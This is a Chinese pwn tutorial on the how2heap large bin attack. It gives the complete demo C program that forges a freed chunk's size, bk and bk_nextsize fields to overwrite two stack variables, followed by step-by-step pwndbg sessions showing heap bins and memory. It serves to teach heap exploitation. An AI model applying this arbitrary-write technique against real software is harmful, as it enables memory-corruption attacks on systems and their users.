从零开始学howtoheap:理解fastbins的large_bin攻击

 how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的large_bin攻击

根据原文描述跟 unsorted bin attack 实现的功能差不多https://blog.csdn.net/weixin_44626085/article/details/136105051,都是把一个地址的值改为一个很大的数

先来看一下目标:
stack_var1 (0x7fffffffe590): 0
stack_var2 (0x7fffffffe598): 0

分配第一个 large chunk: 0x603000
再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了

申请第二个 large chunk 在: 0x603360
同样在分配一个 fastbin 大小的 chunk 防止合并掉

最后申请第三个 large chunk 在: 0x6037a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并

free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ 0x603360 <--> 0x603000 ]

现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ]

free 掉第三个,他会被放到 unsorted bin 中: [ 0x6037a0 <--> 0x6030a0 ]

假设有个漏洞,可以覆盖掉第二个 chunk 的 "size" 以及 "bk"、"bk_nextsize" 指针
减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20

再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:
stack_var1 (0x7fffffffe590): 0x6037a0
stack_var2 (0x7fffffffe598): 0x6037a0
 

2.large_bin_attack 演示程序

#include
#include
 
int main()
{
    fprintf(stderr, "根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数\n\n");

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    fprintf(stderr, "先来看一下目标:\n");
    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x320);
    fprintf(stderr, "分配第一个 large chunk: %p\n", p1 - 2);

    fprintf(stderr, "再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了\n\n");
    malloc(0x20);

    unsigned long *p2 = malloc(0x400);
    fprintf(stderr, "申请第二个 large chunk 在: %p\n", p2 - 2);

    fprintf(stderr, "同样在分配一个 fastbin 大小的 chunk 防止合并掉\n\n");
    malloc(0x20);

    unsigned long *p3 = malloc(0x400);
    fprintf(stderr, "最后申请第三个 large chunk 在: %p\n", p3 - 2);
 
    fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");
    malloc(0x20);
 
    free(p1);
    free(p2);
    fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

    malloc(0x90);
    fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));

    free(p3);
    fprintf(stderr, "free 掉第三个,他会被放到 unsorted bin 中: [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

    fprintf(stderr, "假设有个漏洞,可以覆盖掉第二个 chunk 的 \"size\" 以及 \"bk\"、\"bk_nextsize\" 指针\n");
    fprintf(stderr, "减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20\n\n");

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);

    malloc(0x90);
    fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");
    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
    return 0;
}

3.调试large_bin_attack 

3.1 获得可执行程序 

gcc -g large_bin_attack .c -o large_bin_attack 

3.2 第一次调试程序

root@pwn_test1604:/ctf/work/how2heap# gcc -g large_bin_attack .c -o large_bin_attack 
root@pwn_test1604:/ctf/work/how2heap# gdb ./large_bin_attack 
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./large_bin_attack ...done.
pwndbg> r
Starting program: /ctf/work/how2heap/large_bin_attack  
根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数

先来看一下目标:
stack_var1 (0x7fffffffe590): 0
stack_var2 (0x7fffffffe598): 0

分配第一个 large chunk: 0x603000
再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了

申请第二个 large chunk 在: 0x603360
同样在分配一个 fastbin 大小的 chunk 防止合并掉

最后申请第三个 large chunk 在: 0x6037a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并

free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ 0x603360 <--> 0x603000 ]

现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ]

free 掉第三个,他会被放到 unsorted bin 中: [ 0x6037a0 <--> 0x6030a0 ]

假设有个漏洞,可以覆盖掉第二个 chunk 的 "size" 以及 "bk"、"bk_nextsize" 指针
减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20

再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:
stack_var1 (0x7fffffffe590): 0x6037a0
stack_var2 (0x7fffffffe598): 0x6037a0
[Inferior 1 (process 157) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 ​设置断点第32行并走起

​ 该技术可用于修改任意地址的值,例如栈上的变量stack_var1和 stack_var2。在实践中常常作为其他漏洞利用的前奏,例如在fastbin attack 中用于修改全局变量global_max_fast为一个很大的值。

​ 首先我们分配 chunk p1, p2 和 p3,并且在它们之间插入其他的 chunk 以防止在释放时被合并。

wndbg> b 32

Breakpoint 1 at 0x400850: file large_bin_attack .c, line 32.
pwndbg> r
Starting program: /ctf/work/how2heap/large_bin_attack  
根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数

先来看一下目标:
stack_var1 (0x7fffffffe590): 0
stack_var2 (0x7fffffffe598): 0

分配第一个 large chunk: 0x603000
再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了

申请第二个 large chunk 在: 0x603360
同样在分配一个 fastbin 大小的 chunk 防止合并掉

最后申请第三个 large chunk 在: 0x6037a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并


Breakpoint 1, main () at large_bin_attack .c:33
33          free(p1);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603bc0 ◂— 0x0
 RBX  0x0
 RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
 RDX  0x603bc0 ◂— 0x0
 RDI  0x0
 RSI  0x603be0 ◂— 0x0
 R8   0x5f
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe590 ◂— 0x0
 RIP  0x400850 (main+426) ◂— mov    rax, qword ptr [rbp - 0x20]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400850     mov    rax, qword ptr [rbp - 0x20]
   0x400854     mov    rdi, rax
   0x400857     call   free@plt <0x400540>
 
   0x40085c     mov    rax, qword ptr [rbp - 0x18]
   0x400860     mov    rdi, rax
   0x400863     call   free@plt <0x400540>
 
   0x400868     mov    rax, qword ptr [rbp - 0x18]
   0x40086c     mov    rax, qword ptr [rax]
   0x40086f     mov    rcx, rax
   0x400872     mov    rax, qword ptr [rbp - 0x18]
   0x400876     lea    rdx, [rax - 0x10]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c
   28     fprintf(stderr, "最后申请第三个 large chunk 在: %p\n", p3 - 2);
   29  
   30     fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");
   31     malloc(0x20);
   32  
 ► 33     free(p1);
   34     free(p2);
   35     fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
   36 
   37     malloc(0x90);
   38     fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 ◂— 0x0
... ↓
02:0010│      0x7fffffffe5a0 —▸ 0x603010 ◂— 0x0
03:0018│      0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0
04:0020│      0x7fffffffe5b0 —▸ 0x6037b0 ◂— 0x0
05:0028│      0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400850 main+426
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/large_bin_attack .c:32
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x330                Used                None              None
0x603330            0x0                 0x30                 Used                None              None
0x603360            0x0                 0x410                Used                None              None
0x603770            0x0                 0x30                 Used                None              None
0x6037a0            0x0                 0x410                Used                None              None
0x603bb0            0x0                 0x30                 Used                None              None


pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x330                Used                None              None   p1
0x603330            0x0                 0x30                 Used                None              None    p1
0x603360            0x0                 0x410                Used                None              None   p2
0x603770            0x0                 0x30                 Used                None              None    p2
0x6037a0            0x0                 0x410                Used                None              None   p3
0x603bb0            0x0                 0x30                 Used                None              None    p3
 

3.3.2 ​设置断点第35行并走起 

​ 接下来释放p1和p2,它们被放入unsorted bin中。

pwndbg> b 35
Breakpoint 2 at 0x400868: file large_bin_attack .c, line 35.
pwndbg> c
Continuing.

Breakpoint 2, main () at large_bin_attack .c:35
35          fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x1
 RBX  0x0
 RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
 RDX  0x0
 RDI  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
 RSI  0x0
 R8   0x5f
 R9   0x1
 R10  0x8b8
 R11  0x7ffff7a914f0 (free) ◂— push   r13
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe590 ◂— 0x0
 RIP  0x400868 (main+450) ◂— mov    rax, qword ptr [rbp - 0x18]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x400854     mov    rdi, rax
   0x400857     call   free@plt <0x400540>
 
   0x40085c     mov    rax, qword ptr [rbp - 0x18]
   0x400860     mov    rdi, rax
   0x400863     call   free@plt <0x400540>
 
 ► 0x400868     mov    rax, qword ptr [rbp - 0x18]
   0x40086c     mov    rax, qword ptr [rax]
   0x40086f     mov    rcx, rax
   0x400872     mov    rax, qword ptr [rbp - 0x18]
   0x400876     lea    rdx, [rax - 0x10]
   0x40087a     mov    rax, qword ptr [rip + 0x2017df] <0x602060>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c
   30     fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");
   31     malloc(0x20);
   32  
   33     free(p1);
   34     free(p2);
 ► 35     fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
   36 
   37     malloc(0x90);
   38     fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));
   39 
   40     free(p3);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 ◂— 0x0
... ↓
02:0010│      0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603be0 ◂— 0x0
03:0018│      0x7fffffffe5a8 —▸ 0x603370 —▸ 0x603000 ◂— 0x0
04:0020│      0x7fffffffe5b0 —▸ 0x6037b0 ◂— 0x0
05:0028│      0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400868 main+450
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/large_bin_attack .c:35
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603360 —▸ 0x603000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603360 /* '`3`' */
smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x330                Freed     0x7ffff7dd1b78          0x603360
0x603330            0x330               0x30                 Used                None              None
0x603360            0x0                 0x410                Freed           0x603000    0x7ffff7dd1b78
0x603770            0x410               0x30                 Used                None              None
0x6037a0            0x0                 0x410                Used                None              None
0x603bb0            0x0                 0x30                 Used                None              None
pwndbg> 

 pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603360 —▸ 0x603000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603360 /* '`3`' */

smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x330                Freed     0x7ffff7dd1b78          0x603360
0x603330            0x330               0x30                 Used                None              None
0x603360            0x0                 0x410                Freed           0x603000    0x7ffff7dd1b78
0x603770            0x410               0x30                 Used                None              None
0x6037a0            0x0                 0x410                Used                None              None
0x603bb0            0x0                 0x30                 Used                None              None

3.3.3 ​设置断点第39行并走起

 接下来去申请一个0x90大小的堆块,他会把前面那个0x320大小的堆块切割,同时会给unsorted bin中的free chunk进行整理划分,把那第二块大的放到large bin,第一个剩余的放回到unsorted bin中。

pwndbg> b 39
Breakpoint 4 at 0x4008c1: file large_bin_attack .c, line 39.
pwndbg> c
Continuing.
现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ]


Breakpoint 4, main () at large_bin_attack .c:40
40          free(p3);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0xb0
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbf00 ◂— 0x8ee5a89ce5b08ee7
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0xb0
 R10  0x0
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe590 ◂— 0x0
 RIP  0x4008c1 (main+539) ◂— mov    rax, qword ptr [rbp - 0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x4008a8     mov    rax, qword ptr [rip + 0x2017b1] <0x602060>
   0x4008af     mov    esi, 0x400d48
   0x4008b4     mov    rdi, rax
   0x4008b7     mov    eax, 0
   0x4008bc     call   fprintf@plt <0x400570>
 
 ► 0x4008c1     mov    rax, qword ptr [rbp - 0x10]
   0x4008c5     mov    rdi, rax
   0x4008c8     call   free@plt <0x400540>
 
   0x4008cd     mov    rax, qword ptr [rbp - 0x10]
   0x4008d1     mov    rax, qword ptr [rax]
   0x4008d4     mov    rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c
   35     fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
   36 
   37     malloc(0x90);
   38     fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));
   39 
 ► 40     free(p3);
   41     fprintf(stderr, "free 掉第三个,他会被放到 unsorted bin 中: [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
   42 
   43     fprintf(stderr, "假设有个漏洞,可以覆盖掉第二个 chunk 的 \"size\" 以及 \"bk\"、\"bk_nextsize\" 指针\n");
   44     fprintf(stderr, "减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20\n\n");                                                                                                                                                                                             
   45 
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 ◂— 0x0
... ↓
02:0010│      0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena+888) —▸ 0x7ffff7dd1e88 (main_arena+872) —▸ 0x7ffff7dd1e78 (main_arena+856) ◂— ...
03:0018│      0x7fffffffe5a8 —▸ 0x603370 —▸ 0x7ffff7dd1f68 (main_arena+1096) —▸ 0x7ffff7dd1f58 (main_arena+1080) —▸ 0x7ffff7dd1f48 (main_arena+1064) ◂— ...
04:0020│      0x7fffffffe5b0 —▸ 0x6037b0 ◂— 0x0
05:0028│      0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           4008c1 main+539
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/large_bin_attack .c:39
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x6030a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6030a0
smallbins
empty
largebins
0x400: 0x603360 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x603360 /* '`3`' */
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0xa0                 Used                None              None
0x6030a0            0x0                 0x290                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
0x603330            0x290               0x30                 Used                None              None
0x603360            0x0                 0x410                Freed     0x7ffff7dd1f68    0x7ffff7dd1f68
0x603770            0x410               0x30                 Used                None              None
0x6037a0            0x0                 0x410                Used                None              None
0x603bb0            0x0                 0x30                 Used                None              None
pwndbg> 

 pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x6030a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6030a0  切割后剩余的

smallbins
empty
largebins
0x400: 0x603360 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x603360 /* '`3`' */  整理进largebin中

pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0xa0                 Used                None              None
0x6030a0            0x0                 0x290                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78 切割后剩余的
0x603330            0x290               0x30                 Used                None              None
0x603360            0x0                 0x410                Freed     0x7ffff7dd1f68    0x7ffff7dd1f68 整理进largebin中
0x603770            0x410               0x30                 Used                None              None
0x6037a0            0x0                 0x410                Used                None              None
0x603bb0            0x0                 0x30                 Used                None              None

3.3.4 ​设置断点第55行并走起

接着free掉p3,将其放入unsorted bin,我们伪造的分别是p2的size、bk以及bk_nextsize,紧接着进行malloc操作,将p3整合进large bin。

​ Large bin是按照fd指针的顺序从大到小排列的,所以需要进行排序,排序的操作大概是:

//victim是p3、fwd是修改后的p2
{
    victim->fd_nextsize = fwd;//1
    victim->bk_nextsize = fwd->bk_nextsize;//2
    fwd->bk_nextsize = victim;//3
    victim->bk_nextsize->fd_nextsize = victim;//4
}
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
pwndbg> n
stack_var1 (0x7fffffffe590): 0x6037a0
55          fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x26
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbf00 ◂— 0x61765f6b63617473 ('stack_va')
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x26
 R10  0x0
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0
 RIP  0x4009cf (main+809) ◂— mov    rax, qword ptr [rbp - 0x28]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x4009cf     mov    rax, qword ptr [rbp - 0x28]
   0x4009d3     mov    rcx, rax
   0x4009d6     mov    rax, qword ptr [rip + 0x201683] <0x602060>
   0x4009dd     lea    rdx, [rbp - 0x28]
   0x4009e1     mov    esi, 0x40102c
   0x4009e6     mov    rdi, rax
   0x4009e9     mov    eax, 0
   0x4009ee     call   fprintf@plt <0x400570>
 
   0x4009f3     mov    eax, 0
   0x4009f8     mov    rsi, qword ptr [rbp - 8]
   0x4009fc     xor    rsi, qword ptr fs:[0x28]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c
   50     p2[3] = (unsigned long)(&stack_var2 - 4);
   51 
   52     malloc(0x90);
   53     fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");
   54     fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
 ► 55     fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
   56     return 0;
   57 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0
... ↓
02:0010│      0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena+888) —▸ 0x7ffff7dd1e88 (main_arena+872) —▸ 0x7ffff7dd1e78 (main_arena+856) ◂— ...
03:0018│      0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0
04:0020│      0x7fffffffe5b0 —▸ 0x6037b0 —▸ 0x603360 ◂— 0x0
05:0028│      0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           4009cf main+809
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/40gx 0x603360-0x20
0x603340:       0x0000000000000000      0x0000000000000000
0x603350:       0x0000000000000000      0x0000000000000000
0x603360:       0x0000000000000000      0x00000000000003f1
0x603370:       0x0000000000000000      0x00000000006037a0
0x603380:       0x0000000000000000      0x00000000006037a0
0x603390:       0x0000000000000000      0x0000000000000000
0x6033a0:       0x0000000000000000      0x0000000000000000
0x6033b0:       0x0000000000000000      0x0000000000000000
0x6033c0:       0x0000000000000000      0x0000000000000000
0x6033d0:       0x0000000000000000      0x0000000000000000
0x6033e0:       0x0000000000000000      0x0000000000000000
0x6033f0:       0x0000000000000000      0x0000000000000000
0x603400:       0x0000000000000000      0x0000000000000000
0x603410:       0x0000000000000000      0x0000000000000000
0x603420:       0x0000000000000000      0x0000000000000000
0x603430:       0x0000000000000000      0x0000000000000000
0x603440:       0x0000000000000000      0x0000000000000000
0x603450:       0x0000000000000000      0x0000000000000000
0x603460:       0x0000000000000000      0x0000000000000000
0x603470:       0x0000000000000000      0x0000000000000000
pwndbg> n
stack_var2 (0x7fffffffe598): 0x6037a0
56          return 0;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x26
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbf00 ◂— 0x61765f6b63617473 ('stack_va')
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x26
 R10  0x0
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0
